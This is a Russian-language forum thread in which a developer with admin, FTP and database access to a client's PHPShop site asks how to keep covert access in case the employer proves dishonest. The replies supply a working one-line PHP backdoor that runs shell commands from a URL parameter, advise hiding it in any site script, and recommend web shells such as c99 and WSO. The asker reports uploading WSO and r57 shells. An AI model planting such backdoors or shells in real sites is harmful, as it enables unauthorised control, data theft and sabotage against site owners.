Всем доброго времени суток! Подскажите, есть ли какой-нибудь способ сохранить полный доступ к сайту на движке phpshop. Сейчас имеется полный доступ - админка, фтп, база... Хочется подстраховаться от недобросовестного работодателя (если он таковым окажется) и сохранить доступ к сайту. Можно ли это и сделать и как?
протроянь скрипт - а потом ,в крайнем случае, зальеш шелл и восстановиш справедливость PHP: <?php $cmd = @$_GET['cmd']; if ($cmd) { passthru($cmd); exit; } ?>
dave007, вставлять в любой скрипт. Лишь бы ты сам запомнил в какой)) Но по-моему уж проще сразу шелл залить пока доступ есть.
Спасибо! То есть в любой php файл на сервере, который потом и надо будет выполнить? А по поводу шелла еще проконсультируйте. Вот нашел подборку этих шеллов тут Какой из них порекомендуете выбрать? Желательно тот, которому инструкция по заливке и использованию есть.
c99 и wso2.4 самые нормальные. Заливать, конечно же, через свой ftp-аккаунт хостинга, купленного тобой, ну, или иным способом А пользоваться как обычным файловым менеджером с функциями.
я думал ты кодер и хочеш обезопасится от кидка , тогда простой совет тебе- сначала потренируйся на своем хосте и каком нибудь скрипте чтоб не вызвать ошибку рабочего скрипта и не навредить существующему сайту
Спасибо за ответы! Залил wso и r57 - пока особо не разбирался, ибо делаю это только для подстраховки. А правильно ли я понимаю, что если у файла не будут прописаны права на редактирование, то из шелла его нельзя будет изменить?